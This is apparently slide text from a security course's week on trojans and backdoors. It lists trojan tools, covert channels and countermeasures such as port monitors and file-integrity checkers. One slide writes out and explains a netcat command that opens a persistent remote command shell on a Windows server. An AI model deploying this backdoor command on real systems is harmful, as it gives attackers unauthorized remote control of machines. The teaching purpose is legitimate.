week 6-1 week 6: trojans and backdoors what is a trojan horse? overt and covert

Week 6-1

Week 6: Trojans and Backdoors

• What is a Trojan Horse? • Overt and Covert

Week 6-2


• Hacking Tool: QAZ • Hacking Tool: Tini • Hacking Tool: Netcat

Week 6-3

Netcat in Action as Backdoor• Remote command prompt anyone?• On a Windows NT server issue the following command in the directory that

contains netcat:nc -l -p1234 -d -e cmd.exe –L

• This –l puts netcat into listen mode, the -p1234 tells netcat to use port 1234, the –d allows netcat to run detached from the console, the –e cmd.exe tells netcat to execute the cmd.exe program when a connection is made, and the –L will restart Netcat with the same command line when the connection is terminated.

• On the client system issue the following command:nc destination 1234

• This command causes netcat to connect to the server named destination on port 1234. Immediately you are given a console connection to the destination server. Be careful! To exit the remote console session type:

exit• You will be returned to your own console and will be able to reconnect to the

destination server because netcat was started on the destination server with the –L option.

Week 6-4


• Hacking Tool: Donald Dick • Hacking Tool: SubSeven • Hacking Tool: BackOrifice 2000 • Back Oriffice Plug-ins

Week 6-5

Back Orifice 2000

Can be used as a Network Administrator to remotely configure its system.

It can also be used as a Trojan/Backdoor by attackers.Can run on any filename, Uses TCP port 54320 and UDP

54321 by default but can use any other port. Can disguise itself as Explorer.exe.

Can use Strong Encryption.Open Source.

Countermeasure:BackOfficer Friendly (nfr.net/products/bof)

Week 6-6

Some BO2K Plugins

• BOPeep- provides streaming video of the victim’s screen to attacker.

• Encryption- Blowfish, CAST-256, IDEA, RC6 (stronger than most commercial systems)

• BOSOCK32- Stealth capabilities using ICMP• STCPIO- stealth using encrypted flow between

BO2K GUI and server.

Week 6-7


• Hacking Tool: NetBus • Wrappers

Week 6-8


• Hacking Tool: Graffiti • Hacking Tool: Silk Rope 2000• Hacking Tool: EliteWrap • Hacking Tool: IconPlus

Week 6-9


• Packaging Tool: Microsoft WordPad • Hacking Tool: Whack a Mole

Week 6-10


• Trojan Construction Kit • BoSniffer • Hacking Tool: FireKiller 2000

Week 6-11


• Covert Channels • ICMP Tunneling • Hacking Tool: Loki

Week 6-12


• Reverse WWW Shell • Backdoor Countermeasures

Week 6-13


• BO Startup and Registry Entries • NetBus Startup and Registry Keys

Week 6-14


• Port Monitoring Tools • fPort (foundstone.com)• TCPView

(http://www.sysinternals.com/ntw2k/source/tcpview.shtml)

• Process Viewer

Week 6-15


• Inzider - Tracks Processes and Ports (www.sans.org/y2k/finding.htm )

• Trojan Maker

Week 6-16


• Hacking Tool: Hard Disk Killer • Man-in-the-Middle Attack • Hacking Tool: dsniff

Week 6-17


• System File Verification • TripWire (tripwire.com,

tripwire.org)

Week 6-18


• Summary

week 6-1 week 6: trojans and backdoors what is a trojan horse? overt and covert

Documents